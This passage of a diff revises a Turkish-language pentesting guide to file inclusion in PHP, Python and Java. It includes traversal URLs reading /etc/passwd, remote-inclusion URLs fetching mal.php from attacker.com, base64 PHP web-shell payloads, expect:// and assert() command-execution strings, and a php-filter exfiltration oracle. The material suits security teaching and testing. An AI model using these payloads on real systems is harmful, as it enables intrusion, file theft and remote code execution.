derinliğini, `/etc/passwd` dosyasını başarıyla getirerek belirleyin (sunucu Linux tabanlıysa geçerlidir). Örnek bir URL şu şekilde yapılandırılabilir ve üç katman derinliği olduğunu gösterir: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Klasörleri Ara:** Şüpheli klasörün adını (örneğin, `private`) URL'ye ekleyin, ardından `/etc/passwd`'a geri gidin. Ekstra dizin seviyesi derinliği bir artırmayı gerektirir: +2. **Klasörleri Sorgula:** Şüpheli klasör adını (ör. `private`) URL'ye ekleyin, ardından `/etc/passwd`'e geri dönün. Ek dizin seviyesi derinliğinin bir artırılmasını gerektirir: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Sonuçları Yorumlayın:** Sunucunun yanıtı, klasörün var olup olmadığını gösterir: -- **Hata / Çıktı Yok:** `private` klasörü muhtemelen belirtilen konumda mevcut değildir. -- **`/etc/passwd` İçeriği:** `private` klasörünün varlığı doğrulanmıştır. -4. **Kapsamlı Keşif:** Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir. +3. **Sonuçları Yorumlama:** Sunucunun yanıtı klasörün var olup olmadığını gösterir: +- **Hata / Çıktı Yok:** Belirtilen konumda `private` klasörü muhtemelen yoktur. +- **İçeriği `/etc/passwd`:** `private` klasörünün varlığı doğrulanır. +4. **Yinelemeli Keşif:** Bulunan klasörler aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla incelenebilir. -Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için, yükü buna göre ayarlayın. Örneğin, `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın: +Farklı konumlardaki dizinleri keşfetmek için payload'u uygun şekilde ayarlayın. Örneğin, geçerli dizinin derinliğinin 3 olduğunu varsayarak `/var/www/` içinde bir `private` dizini olup olmadığını kontrol etmek için kullanın: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır. +Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlatıp kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildikten sonra bile hedeflenen dosyaya işaret eden bir dosya yolu oluşturmaktır. -PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin: +In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance: -- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` ve `/etc/passwd/` hepsi aynı yol olarak değerlendirilir. -- Son 6 karakter `passwd` olduğunda, bir `/` eklemek (bunu `passwd/` yaparak) hedeflenen dosyayı değiştirmez. -- Benzer şekilde, bir dosya yoluna `.php` eklenirse (örneğin `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmeyecektir. +- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. +- Son 6 karakter `passwd` ise, sonuna `/` eklemek (yani `passwd/`) hedeflenen dosyayı değiştirmez. +- Benzer şekilde, bir dosya yolunun sonuna `.php` eklenmişse (ör. `shellcode.php`), sonuna `/.` eklemek erişilen dosyayı değiştirmez. -Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd` dosyasına erişmek için yol kısaltmasını nasıl kullanacağınızı göstermektedir: +Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan `/etc/passwd`'a erişmek için path truncation kullanımını göstermektedir: ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir. +Bu senaryolarda gerekli traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişiklik gösterebilir. -- **Nokta Segmentleri ve Ekstra Karakterler Kullanma**: Geçiş dizileri (`../`) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, böylece sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir. -- **Gerekli Geçiş Sayısını Belirleme**: Deneme yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'a gitmek için gereken `../` dizilerinin tam sayısını bulmak mümkündür; bu, eklenen dizgilerin (örneğin, `.php`) etkisiz hale getirildiğinden emin olurken istenen yolun (`/etc/passwd`) sağlam kalmasını sağlar. -- **Sahte Bir Dizinle Başlama**: Yolu var olmayan bir dizinle (örneğin `a/`) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır. +- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizgileri etkisiz hale getirerek yok sayılmasını sağlar. +- **Determining the Required Number of Traversals**: Deneme yanılma yoluyla, kök dizine ve sonra `/etc/passwd`'e ulaşmak için gereken `../` dizilerinin tam sayısı bulunabilir; böylece sunucunun eklediği dizgiler (ör. `.php`) etkisizleştirilirken hedef yol (`/etc/passwd`) korunur. +- **Starting with a Fake Directory**: Yolun başına var olmayan bir dizin (ör. `a/`) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır. -Yol kısaltma teknikleri kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir. +Path truncation tekniklerini kullanırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir. -**Bu güvenlik açığı PHP 5.3'te düzeltildi.** +**This vulnerability was corrected in PHP 5.3.** -### **Filtre atlatma hileleri** +### **Filter bypass tricks** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -143,47 +143,47 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd http://example.com/index.php?page=PhP://filter ``` -## Uzaktan Dosya Dahil Etme +## Remote File Inclusion -php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Kapalıdır.** Bunun çalışması için **Açık** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz: +php'de bu varsayılan olarak devre dışıdır çünkü **`allow_url_include`** **Off.** olarak ayarlanmıştır. Çalışması için **On** olması gerekir; bu durumda sunucunuzdan bir PHP dosyası include ederek RCE elde edebilirsiniz: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Eğer bir sebepten dolayı **`allow_url_include`** **Açık** ise, ancak PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz: +Eğer bir nedenle **`allow_url_include`** **On** ise, ancak PHP harici web sayfalarına erişimi **filtering** yapıyorsa, [bu gönderiye göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir dizeye ihtiyacı vardı, bu yüzden dize bununla bitiyor ve b64 çözümlemesinden sonra o kısım sadece gereksiz bir şey dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak). +> Önceki kodda, sonundaki `+.txt` eklendi çünkü attacker `.txt` ile biten bir string'e ihtiyaç duyuyordu; bu yüzden string onunla biter ve b64 decode sonrası o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (ve dolayısıyla çalıştırılacak). -Başka bir örnek **`php://` protokolünü kullanmayan**: +Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olur: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Kök Elemanı +## Python Kök öğesi -Python'da bu gibi bir kodda: +python'da aşağıdaki gibi bir kodda: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Eğer kullanıcı **`file_name`** için **mutlak bir yol** geçirirse, **önceki yol sadece kaldırılır**: +Kullanıcı **`file_name`** için bir **mutlak yol** verirse, **önceki yol sadece kaldırılır**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Belirtilen davranış, [belgelere](https://docs.python.org/3.10/library/os.path.html#os.path.join) göre: +Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'e göre amaçlanan davranıştır: -> Eğer bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder. +> Eğer bir bileşen mutlak bir yolsa, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder. -## Java Dizinlerini Listele +## Java Dizin Listeleme -Görünüşe göre, Java'da bir Yol Traversali varsa ve **bir dosya yerine bir dizin isterseniz**, **dizinin bir listesi döndürülür**. Bu diğer dillerde (bildiğim kadarıyla) gerçekleşmeyecek. +Görünen o ki, Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin talep ederseniz**, dizinin **listesi döndürülür**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla). -## En İyi 25 parametre +## İlk 25 parametre -Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi 25 parametrenin listesi ( [link](https://twitter.com/trbughunters/status/1279768631845494787) ): +İşte local file inclusion (LFI) açıklarına karşı savunmasız olabilecek ilk 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi ?mod={payload} ?conf={payload} ``` -## LFI / RFI PHP sarmalayıcıları ve protokolleri kullanarak +## LFI / RFI — PHP wrappers & protocols kullanımı ### php://filter -PHP filtreleri, veriler okunmadan veya yazılmadan önce temel **değiştirme işlemleri yapmaya** olanak tanır. 5 filtre kategorisi vardır: +PHP filtreleri, verinin okunmasından veya yazılmasından önce temel **veri üzerinde değişiklik işlemleri** yapmaya izin verir. Filtrelerin 5 kategorisi vardır: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Verilerden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey) -- Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın. +- `string.strip_tags`: Verideki etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey) +- Bu filtrenin modern PHP sürümlerinde artık bulunmadığını unutmayın - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..`). **Desteklenen tüm kodlamaların listesini** almak için konsolda `iconv -l` komutunu çalıştırın. +- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..`). Desteklenen **tüm kodlamaların listesi** için konsolda şu komutu çalıştırın: `iconv -l` > [!WARNING] -> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin** üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için [**LFI2RCE php filtreleri aracılığıyla**](lfi2rce-via-php-filters.md) kontrol edin. +> `convert.iconv.*` conversion filter'ünü suistimal ederek **istediğiniz metni üretebilirsiniz**, bu da örneğin istediğiniz metni yazmak veya include gibi bir fonksiyonun bu metni işleyebilmesini sağlamak için faydalı olabilir. Daha fazla bilgi için [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) dosyasına bakın. - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır) -- `zlib.inflate`: Verileri açar +- `zlib.deflate`: İçeriği sıkıştırır (çok fazla bilgi exfiltrating yapıyorsanız faydalı) +- `zlib.inflate`: Veriyi dekomprese eder - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Kullanımdan kaldırıldı - `mdecrypt.*` : Kullanımdan kaldırıldı -- Diğer Filtreler -- php'de `var_dump(stream_get_filters());` çalıştırarak birkaç **beklenmedik filtre** bulabilirsiniz: +- Diğer filtreler +- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda birkaç **beklenmeyen filtre** bulabilirsiniz: - `consumed` -- `dechunk`: HTTP chunked kodlamasını tersine çevirir +- `dechunk`: HTTP chunked encoding'i tersine çevirir - `convert.*` ```php # String Filters @@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > "php://filter" kısmı büyük/küçük harf duyarsızdır -### php filtrelerini oracle olarak kullanarak rastgele dosyaları okuma +### Using php filters as oracle to read arbitrary files -[**Bu yazıda**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın **boolean sızdırılması (karakter karakter)** üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyütmek için kullanılabilmesidir. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception. -Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak burada hızlı bir özet: +In the original post you can find a detailed explanation of the technique, but here is a quick summary: -- Metnin başındaki karakteri bırakmak ve dize boyutunu üssel olarak artırmak için **`UCS-4LE`** codec'ini kullanın. -- Bu, **ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için** kullanılacak ki php bir **hata** tetikleyecektir. -- **dechunk** filtresi, **ilk karakter bir onaltılık değilse her şeyi kaldıracaktır**, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz. -- Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacak, çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir. -- **convert.iconv.UNICODE.CP930** codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir. -- Başlangıçta **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir). -- İlk karakter bir sayı olduğunda, bunu base64 ile kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir. -- Son sorun, **ilk harften daha fazlasını nasıl sızdıracağınızı** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür. -- Ve **daha fazla veri** elde edebilmek için fikir, **başlangıçta 2 bayt çöp verisi oluşturmak** ve **convert.iconv.UTF16.UTF16** ile uygulamak, ardından **UCS-4LE** ile bunu **sonraki 2 baytla pivotlamak** ve **çöp veriye kadar veriyi silmek** (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit sızdırılana kadar bunu yapmaya devam edin. +- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially. +- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error** +- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex. +- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error. +- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. +- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range). +- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number. +- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text. +- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak. -Yazıda bunu otomatik olarak gerçekleştiren bir araç da sızdırıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Bu sarmalayıcı, işlemin açık olan dosya tanımlayıcılarına erişim sağlar. Açık dosyaların içeriğini sızdırmak için potansiyel olarak yararlıdır: +This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -**php://stdin, php://stdout ve php://stderr** kullanarak sırasıyla **dosya tanımlayıcıları 0, 1 ve 2**'ye erişebilirsiniz (bu durumun bir saldırıda nasıl faydalı olabileceğinden emin değilim) +Ayrıca **php://stdin, php://stdout and php://stderr**'i sırasıyla **file descriptors 0, 1 and 2**'ye erişmek için kullanabilirsiniz (bir saldırıda bunun nasıl faydalı olabileceğinden emin değilim) ### zip:// ve rar:// -İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve erişin.\ -Rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**. +İçerisine PHPShell yerleştirilmiş bir Zip veya Rar dosyası yükleyin ve erişin.\ +rar protocol'ü kötüye kullanabilmek için **özel olarak etkinleştirilmesi gerekir**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** ile kısıtlandığını unutmayın. +Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın ### expect:// -Expect'in etkinleştirilmesi gerekir. Bunu kullanarak kod çalıştırabilirsiniz: +Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -POST parametrelerinde yükünüzü belirtin: +POST parametrelerinde payload'unuzu belirtin: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası, bir `.phar` dosyasının oluşturulmasını göstermektedir: +Bir `.phar` dosyası, bir web uygulaması `include` gibi dosya yükleme için fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir: ```php stopBuffering(); ```bash php --define phar.readonly=0 create_path.php ``` -Yürütme sırasında `test.phar` adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) zafiyetlerini istismar etmek için kullanılabilir. +Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak; bu dosya Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir. -LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlar aracılığıyla bir deserialization zafiyetinin istismar edilmesi denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosyaların okunmasıyla ilişkilidir. +Eğer LFI yalnızca içindeki PHP kodunu çalıştırmayıp dosya okuma gerçekleştiriyorsa — ör. `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, veya `filesize()` gibi fonksiyonlarla — deserialization zafiyetinin istismarı denenebilir. Bu zafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir. -`.phar` dosyaları bağlamında deserialization zafiyetlerini istismar etmeyi detaylı bir şekilde anlamak için aşağıda bağlantısı verilen belgeye bakın: +For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: [Phar Deserialization Exploitation Guide](phar-deserialization.md) + {{#ref}} phar-deserialization.md {{#endref}} ### CVE-2024-2961 -**PHP filtrelerini destekleyen herhangi bir keyfi dosya okuma** istismar edilerek RCE elde etmek mümkündü. Detaylı açıklama [**bu yazıda bulunabilir**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Çok hızlı bir özet: PHP yığınında bir **3 bayt taşması** istismar edilerek **belirli boyutlardaki serbest parçaların zinciri** değiştirildi ve böylece **herhangi bir adrese yazma** imkanı sağlandı, bu nedenle **`system`** çağrısı yapmak için bir hook eklendi.\ -Daha fazla PHP filtresi istismar edilerek belirli boyutlarda parçalar tahsis etmek mümkündü. +PHP'de php filter'larını destekleyen **herhangi bir rastgele dosya okuma** RCE elde etmek için kötüye kullanılabiliyordu. Ayrıntılı açıklama [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).\ +Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli bir boyuttaki serbest chunk zinciri **değiştirildi** ve böylece **herhangi bir adrese istediğini yazmak** mümkün oldu; bu yüzden **`system`** çağırmak için bir hook eklendi.\ +Daha fazla php filter kullanarak belirli boyutlarda chunk'lar alloc etmek mümkündü. -### Daha Fazla Protokol +### More protocols -Buraya dahil edilebilecek daha fazla [**protokolü kontrol edin**](https://www.php.net/manual/en/wrappers.php)**:** +Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim -- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim -- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma Akışları -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmediği için burada pek faydalı değil) -- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Güvenli Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Keyfi dosyaları okumak için faydalı değil) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack'ta bunun nasıl işe yarayacağına emin değilim) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem +- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs +- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desene uyan yol adlarını bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil) +- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Rastgele dosyaları okumak için kullanışlı değil) -## PHP'nin 'assert' ile LFI +## LFI via PHP's 'assert' -PHP'de Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kod çalıştırabilen 'assert' fonksiyonu ile çalışırken oldukça yüksektir. Bu, ".." gibi dizin geçiş karakterleri içeren girdilerin kontrol edilmesi ancak düzgün bir şekilde temizlenmemesi durumunda özellikle sorunludur. +PHP'de 'assert' fonksiyonuyla uğraşıldığında Local File Inclusion (LFI) riski özellikle yüksektir; 'assert' string içindeki kodu çalıştırabilir. Bu, '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse özellikle sorunludur. -Örneğin, PHP kodu dizin geçişini önlemek için şu şekilde tasarlanmış olabilir: +For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir: +Bunun traversal'ı engellemeyi amaçlamasına rağmen, kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bundan yararlanmak isteyen bir attacker şunu kullanabilir: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Benzer şekilde, rastgele sistem komutları yürütmek için şunlar kullanılabilir: +Benzer şekilde, herhangi bir sistem komutunu yürütmek için şu kullanılabilir: ```plaintext ' and die(system("id")) or ' ``` -Önemli olan **bu yükleri URL-encode etmek**. +It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> Bu teknik, **bir PHP fonksiyonunun** **dosya yolunu** **kontrol ettiğiniz** durumlarda geçerlidir; bu fonksiyon bir **dosyaya erişecek** ancak dosyanın içeriğini göremeyeceksiniz (örneğin, **`file()`** fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmiyor. +> Bu teknik, bir **PHP function**ın **dosya yolu** üzerinde **kontrol** sahibi olduğunuz ve bu fonksiyonun bir **dosyaya erişeceği** ancak dosya içeriğini görmeyeceğiniz durumlarda (ör. basit bir **`file()`** çağrısı) önemlidir — içerik gösterilmez. -[**bu inanılmaz yazıda**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) bir kör yol geçişinin PHP filtresi aracılığıyla **bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği** açıklanmaktadır. +In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -Özetle, teknik, bir dosyanın içeriğini o kadar **büyük** yapmak için **"UCS-4LE" kodlamasını** kullanmaktadır ki, dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecektir. +Özetle, teknik **"UCS-4LE" encoding** kullanarak bir dosyanın içeriğini o kadar **büyük** hale getiriyor ki dosyayı açan **PHP function** bir **error** tetikliyor. 